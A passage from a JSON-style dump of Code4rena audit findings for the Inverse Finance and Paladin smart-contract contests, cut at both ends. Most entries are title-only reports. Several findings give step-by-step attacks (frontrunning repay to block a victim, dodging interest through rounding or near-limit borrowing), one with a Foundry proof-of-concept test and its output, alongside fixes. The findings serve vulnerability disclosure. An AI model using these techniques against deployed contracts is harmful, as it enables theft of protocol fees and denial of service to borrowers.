// collateral price in dola uint liquidatorReward = repaidDebt * 1 ether / price; // collateral amount liquidatorReward += liquidatorReward * liquidationIncentiveBps / 10000; debts[user] -= repaidDebt; totalDebt -= repaidDebt; dbr.onRepay(user, repaidDebt); dola.transferFrom(msg.sender, address(this), repaidDebt); IEscrow escrow = predictEscrow(user); escrow.pay(msg.sender, liquidatorReward); if(liquidationFeeBps > 0) { uint liquidationFee = repaidDebt * 1 ether / price * liquidationFeeBps / 10000; if(escrow.balance() >= liquidationFee) { escrow.pay(gov, liquidationFee); } } // **************************************** uint afterHealthFactor = getCollateralValue(user) * 1e18 / debts[user]; // @audit health factor after liquidation require(afterHealthFactor >= beforeHealthFactor, \"Liquidation should not decrease the health factor of the address\"); // @audit new check // **************************************** emit Liquidate(user, msg.sender, repaidDebt, liquidatorReward); } function forceReplenish(address user, uint amount) public { uint deficit = dbr.deficitOf(user); require(deficit > 0, \"No DBR deficit\"); require(deficit >= amount, \"Amount > deficit\"); uint replenishmentCost = amount * dbr.replenishmentPriceBps() / 10000; uint replenisherReward = replenishmentCost * replenishmentIncentiveBps / 10000; debts[user] += replenishmentCost; uint collateralValue = getCollateralValueInternal(user); // **************************************** // require(collateralValue >= debts[user], \"Exceeded collateral value\"); require(collateralValue >= debts[user] * (1 + liquidationIncentiveBps / 10000 + liquidationFeeBps / 10000), \"Debt exceeds safe collateral limit\"); // @audit more strict limit // **************************************** totalDebt += replenishmentCost; dbr.onForceReplenish(user, amount); dola.transfer(msg.sender, replenisherReward); emit ForceReplenish(user, msg.sender, amount, replenishmentCost, replenisherReward); } ```"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/392", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-25"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/380", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-35"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "Avoidable misconfiguration could lead to INVEscrow contract not minting xINV tokens", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/379", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "primary issue", "sponsor acknowledged", "selected for report", "M-09"], "target": "2022-10-inverse-findings", "body": "Avoidable misconfiguration could lead to INVEscrow contract not minting xINV tokens"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/377", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-24"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/369", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-34"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/368", "labels": ["bug", "G (Gas Optimization)", "grade-a", "selected for report", "G-33"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/365", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-b", "Q-23"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/355", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "grade-b", "G-32"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/345", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-b", "Q-22"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/344", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-31"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/326", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-30"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/322", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-29"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/321", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-21"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/313", "labels": ["bug", "G (Gas Optimization)", "grade-a", "G-28"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/312", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-27"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/305", "labels": ["bug", "QA (Quality Assurance)", "grade-a", "Q-20"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Protocol withdrawals of collateral can be unexpectedly locked if governance sets the `collateralFactorBps` to 0.", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/301", "labels": ["bug", "2 (Med Risk)", "primary issue", "sponsor disputed", "selected for report", "M-08"], "target": "2022-10-inverse-findings", "body": "Protocol withdrawals of collateral can be unexpectedly locked if governance sets the `collateralFactorBps` to 0."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/298", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-19"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/295", "labels": ["bug", "QA (Quality Assurance)", "grade-a", "Q-18"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/282", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-26"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/281", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-17"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Oracle's two-day feature can be gamed", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/278", "labels": ["bug", "2 (Med Risk)", "satisfactory", "sponsor acknowledged", "selected for report", "M-07"], "target": "2022-10-inverse-findings", "body": "Oracle's two-day feature can be gamed"}, {"title": "User can free from liquidation fee if its escrow balance is less than the calculated liquidation fee.", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/275", "labels": ["bug", "2 (Med Risk)", "primary issue", "satisfactory", "sponsor confirmed", "selected for report", "M-06"], "target": "2022-10-inverse-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L605-L610 # Vulnerability details ## Impact User can free from liquidation fee if its escrow balance less than the calculated liquidation fee. ## Proof of Concept If the `liquidationFeeBps` is enabled, the `gov` should receive the liquidation fee. But if user's escrow balance is less than the calculated liquidation fee, `gov` got nothing. https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L605-L610 ```solidity if(liquidationFeeBps > 0) { uint liquidationFee = repaidDebt * 1 ether / price * liquidationFeeBps / 10000; if(escrow.balance() >= liquidationFee) { escrow.pay(gov, liquidationFee); } } ``` ## Tools Used manual review ## Recommended Mitigation Steps User should pay all the remaining escrow balance if the calculated liquidation fee is greater than its escrow balance. ```solidity if(liquidationFeeBps > 0) { uint liquidationFee = repaidDebt * 1 ether / price * liquidationFeeBps / 10000; if(escrow.balance() >= liquidationFee) { escrow.pay(gov, liquidationFee); } else { escrow.pay(gov, escrow.balance()); } } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/259", "labels": ["bug", "G (Gas Optimization)", "grade-a", "G-25"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/257", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-16"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/256", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-24"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "`repay` function can be DOSed", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/252", "labels": ["bug", "2 (Med Risk)", "primary issue", "satisfactory", "sponsor confirmed", "selected for report", "M-05"], "target": "2022-10-inverse-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L531 # Vulnerability details ## Impact In `repay()` users can repay their debt. ``` function repay(address user, uint amount) public { uint debt = debts[user]; require(debt >= amount, \"Insufficient debt\"); debts[user] -= amount; totalDebt -= amount; dbr.onRepay(user, amount); dola.transferFrom(msg.sender, address(this), amount); emit Repay(user, msg.sender, amount); } ``` There is a `require` condition, that checks if the amount provided, is greater than the debt of the user. If it is, then the function reverts. This is where the vulnerability arises. `repay` function can be frontrun by an attacker. Say an attacker pay a small amount of debt for the victim user, by frontrunning his repay transaction. Now when the victim's transaction gets executed, the `require` condition will fail, as the amount of debt is less than the amount of DOLA provided. Hence the attacker can repeat the process to DOS the victim from calling the repay function. ## Proof of Concept 1. Victim calls repay() function to pay his debt of 500 DOLA , by providing the amount as 500 2. Now attacker saw this transaction on mempool 3. Attacker frontruns the transaction, by calling repay() with amount provided as 1 DOLA 4. Attacker's transaction get's executed first due to frontrunning, which reduces the debt of the victim user to 499 DOLA 5. Now when the victim's transaction get's executed, the debt of victim has reduced to 499 DOLA, and the amount to repay provided was 500 DOLA. Now as debt is less than the amount provided, so the require function will fail, and the victim's transaction will revert. This will prevent the victim from calling repay function Hence an attacker can DOS the repay function for the victim user ## Tools Used Manual review ## Recommended Mitigation Steps Implement DOS protection"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/226", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-23"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/214", "labels": ["bug", "QA (Quality Assurance)", "grade-a", "Q-15"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/213", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-22"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/212", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-14"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "ERC777 reentrancy when withdrawing can be used to withdraw all collateral", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/206", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "downgraded by judge", "satisfactory", "sponsor acknowledged", "selected for report", "M-04"], "target": "2022-10-inverse-findings", "body": "ERC777 reentrancy when withdrawing can be used to withdraw all collateral"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/194", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-21"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/186", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-13"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/184", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-12"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/169", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-20"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/161", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-b", "Q-11"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "User can borrow DOLA indefinitely without settling DBR deficit by keeping their debt close to the allowed maximum", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/155", "labels": ["bug", "2 (Med Risk)", "satisfactory", "sponsor confirmed", "edited-by-warden", "selected for report", "M-03"], "target": "2022-10-inverse-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L567 # Vulnerability details ## Impact A user can borrow DOLA interest-free. This requires the user to precisely manage their collateral. This issue might become especially troublesome if a Market is opened with some stablecoin as the collateral (because price fluctuations would become negligible and carefully managing collateral level would be easy). This issue is harder to exploit (but not impossible) if `gov` takes responsibility for forcing replenishment, since `gov` has a stronger economic incentive than third parties. ## Proof of Concept If my calculations are correct, with the current gas prices it costs about \\$5 to call `Market.forceReplenish(...)`. Thus there is no economic incentive to do so as long as a debtor's DBR deficit is worth less than \\$5/`replenishmentIncentive` so probably around \\$100. This is because replenishing cannot push a user's debt under the water (https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L567) and a user can repay their debt without having settled the DBR deficit (https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L531). So, assuming the current prices, a user can: 1. Deposit some collateral 2. Borrow close to the maximum allowed amount of DOLA 3. Keep withdrawing or depositing collateral so that the collateral surplus does not exceed $100 (assuming current gas prices) 4. `repay()` their debt at any time in the future. 5. Withdraw all the collateral. All this is possible with arbitrarily large DBR deficit because due to small collateral surplus at no point was it economical for a third party to `forceReplenish()` the user. If `gov` takes responsibility for `forceReplenish()`ing, the above procedure is still viable although the user has to maintain the collateral surplus at no more than around $5. ## Tools Used Manual review ## Recommended Mitigation Steps Allow replenishing to push the debt under the water and disallow repaying the debt with an outstanding DBR deficit. E.g.: ``` diff --git a/src/Market.sol b/src/Market.sol index 9585b85..d69b599 100644 --- a/src/Market.sol +++ b/src/Market.sol @@ -531,6 +531,7 @@ contract Market { function repay(address user, uint amount) public { uint debt = debts[user]; require(debt >= amount, \"Insufficient debt\"); + require(dbr.deficitOf(user) == 0, \"DBR Deficit\"); debts[user] -= amount; totalDebt -= amount; dbr.onRepay(user, amount); @@ -563,8 +564,6 @@ contract Market { uint replenishmentCost = amount * dbr.replenishmentPriceBps() / 10000; uint replenisherReward = replenishmentCost * replenishmentIncentiveBps / 10000; debts[user] += replenishmentCost; - uint collateralValue = getCollateralValueInternal(user); - require(collateralValue >= debts[user], \"Exceeded collateral value\"); totalDebt += replenishmentCost; dbr.onForceReplenish(user, amount); dola.transfer(msg.sender, replenisherReward); ```"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/154", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-19"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/130", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-18"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/126", "labels": ["bug", "QA (Quality Assurance)", "grade-a", "selected for report", "Q-10"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/124", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-17"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/121", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-16"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/108", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-b", "Q-09"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/107", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "grade-b", "G-15"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/99", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-b", "Q-08"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/96", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "grade-b", "G-14"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/85", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "grade-b", "G-13"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "Users can avoid paying fees if they manage to update their accrued fees periodically", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/83", "labels": ["bug", "2 (Med Risk)", "primary issue", "satisfactory", "sponsor confirmed", "edited-by-warden", "selected for report", "M-02"], "target": "2022-10-inverse-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-inverse/blob/main/src/DBR.sol#L287 # Vulnerability details ## Impact While a user borrows DOLA, his debt position in the DBR contract accrues more debt over time. However, Solidity contracts cannot update their storage automatically over time; state updates must always be triggered by externally owned accounts. For this reason, the DBR contract cannot accurately represent a user's debt position in its storage at all times. Instead, the contract offers a method `accrueDueTokens` that, when called, updates the internal storage with the debts that accrued since the last update. This method is called before all critical financial operations that depend on an accurate value of the accumulated deficit in the contract's storage. On top, this method can also be invoked permissionless at any time. Suppose a borrower manages to call this function periodically and keep the time difference between updates short. In that case, a rounding error in the computation of the accrued debt can cause the expression to round down to zero. In this case, the user successfully avoided paying interest on his debt. ## Proof of Concept For reference, here is the affected code: ~~~Solidity function accrueDueTokens(address user) public { uint debt = debts[user]; if(lastUpdated[user] == block.timestamp) return; uint accrued = (block.timestamp - lastUpdated[user]) * debt / 365 days; dueTokensAccrued[user] += accrued; totalDueTokensAccrued += accrued; lastUpdated[user] = block.timestamp; emit Transfer(user, address(0), accrued); } ~~~ The problem is that the function updates the `lastUpdated[user]` storage variable even when `accrued` is `0`. ### Example Let's assume that the last update occurred at `t_0`. Further assume that the next update occurs at `t_1` with `t_1 - t_0 = 12s`. (`12s` is the current Ethereum block time) Suppose that the user's recorded `debt` position at `t_0 is `1,000,000 wei`. Then the accrued debt formula gives us the following: ~~~ accrued = (t_1 - t_0) * debt / 365 days = 12 * 1,000,000 / 31,536,000 = 1,000,000 / 31,536,000 = 0 (because unsigned integer division rounds down) ~~~ ### Maximizing profit The accrued debt formula rounds towards zero if we have `(t_1 - t_0) * debt < 365 days`. This gives us a method to compute the maximal debt that we can deposit to make the attack more efficient: ~~~ debt_max = 365 days / 12s -1 = 2,627,999 ~~~ Notice that an attacker is not limited to these small loans. He can split a massive loan into multiple small loans, capped at 2,627,999. To borrow X tokens (where X is given in WEI), we can compute the number of needed loans as: ~~~ #loans = X / 2,627,999 ~~~ For example, to borrow 1 DOLA: ~~~ #loans = 10^18 / 2,627,999 = 380517648599 ~~~ To borrow 1,000,000 DOLA we would thus need 380,517,648,599,000,000 small loans. ### Economical feasibility The attack would be economically feasible if the costs of the attack were lower than the interest that accrued throughout the successful attack. The dominating factor of the attack costs is the gas costs which the attacker needs to pay to update the accrued interest of the small loans every second. A clever attacker would batch as many updates into a single transaction as possible to minimize the gas overhead of the transaction. Still, at the current block time (12s), gas price (7 gwei), block gas limit (30,000,000), and current ETH price (\\$1,550.80), it's hardly imaginable that this attack is economically feasible at the moment. ### Risk parameters However, all these values could change in the future. And if we look at other networks, Layer2 or EVM compatible Layer1, the parameters might be different today. Also, notice that if the contract were used to borrow a different asset than DOLA, the numbers would look drastically different. The risk increases with the asset's price and becomes bigger the fewer decimals the token uses. For example, to borrow 1 WBTC (8 decimals), we would only need 39 small loans: ~~~ #loans = 10^8 / 2,627,999 ~39 ~~~ And to borrow WBTC worth \\$1,000,000 at a price of 20,746\\$/BTC, we would need 1864 small loans. ~~~ #loans ~= 49*10^8 / 2,627,999 ~= 1864 ~~~ ### Foundry The following test demonstrates how to avoid paying interest on a loan for 1h. A failing test means that the attack was successful. ~~~ $ git diff src/test/DBR.t.sol diff --git a/src/test/DBR.t.sol b/src/test/DBR.t.sol index 3988cf7..8779da7 100644 --- a/src/test/DBR.t.sol +++ b/src/test/DBR.t.sol @@ -25,6 +25,20 @@ contract DBRTest is FiRMTest { vm.stopPrank(); } + function testFail_free_borrow() public { + uint borrowAmount = 2_627_999; + + vm.prank(address(market)); + dbr.onBorrow(user, borrowAmount); + + for (uint i = 12; i <= 3600; i += 12) { + vm.warp(block.timestamp + 12); + dbr.accrueDueTokens(user); + } + assertEq(dbr.deficitOf(user), 0); + } + + function testOnBorrow_Reverts_When_AccrueDueTokensBringsUserDbrBelow0() public { gibWeth(user, wethTestAmount); gibDBR(user, wethTestAmount); ~~~ Output: ~~~ $ forge test --match-test testFail_free_borrow -vv [\u2806] Compiling... [\u280a] Compiling 1 files with 0.8.17 [\u2822] Solc 0.8.17 finished in 2.62s Compiler run successful Running 1 test for src/test/DBR.t.sol:DBRTest [FAIL. Reason: Assertion failed.] testFail_free_borrow() (gas: 1621543) Test result: FAILED. 0 passed; 1 failed; finished in 8.03ms Failing tests: Encountered 1 failing test in src/test/DBR.t.sol:DBRTest [FAIL. Reason: Assertion failed.] testFail_free_borrow() (gas: 1621543) Encountered a total of 1 failing tests, 0 tests succeeded ~~~ Classified as a high medium because the yields can get stolen/denied. It's not high risk because I don't see an economically feasible exploit. ## Tools Used VSCode, Wolramapha, Foundry ## Recommended Mitigation Steps * Document the risks transparently and prominently. * Re-evaluate the risks according to the specific network parameters of every network you want to deploy to. * Do not update the `lastUpdated` timestamp of the user if the computed accrued amount was zero."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/72", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-07"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/65", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-12"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/50", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-11"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/47", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-10"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/46", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-06"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/37", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-05"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/36", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-09"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/34", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-08"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/33", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-b", "Q-04"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/32", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "grade-b", "G-07"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/27", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-03"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/26", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "grade-b", "G-06"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/25", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-05"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/19", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "grade-b", "G-04"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/11", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "grade-b", "G-03"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "Unhandled return values of transfer and transferFrom", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/10", "labels": ["bug", "2 (Med Risk)", "satisfactory", "sponsor acknowledged", "selected for report", "M-01"], "target": "2022-10-inverse-findings", "body": "Unhandled return values of transfer and transferFrom"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/7", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-a", "Q-02"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/4", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "grade-b", "G-02"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/3", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "grade-b", "G-01"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/2", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-b", "Q-01"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/1", "labels": [], "target": "2022-10-inverse-findings", "body": "Agreements & Disclosures"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/278", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-49"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/277", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-68"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/276", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-48"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/275", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-47"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/273", "labels": ["bug", "G (Gas Optimization)", "grade-a", "G-46"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/272", "labels": ["bug", "QA (Quality Assurance)", "grade-a", "Q-67"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "Pausing `WardenPledge` contract, which takes effect immediately, by its owner can unexpectedly block pledge creator from calling `closePledge` or `retrievePledgeRewards` function", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/269", "labels": ["bug", "2 (Med Risk)", "primary issue", "satisfactory", "selected for report", "M-08"], "target": "2022-10-paladin-findings", "body": "Pausing `WardenPledge` contract, which takes effect immediately, by its owner can unexpectedly block pledge creator from calling `closePledge` or `retrievePledgeRewards` function"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/268", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-45"], "target": "2022-10-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-paladin-findings/issues/267", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-66"], "target": "2022-10-paladin-findings", "body": "QA Report"}, {"title": "[M2] Zero protocol fee can prevent users to extendPledge for some tokens", "html_url": 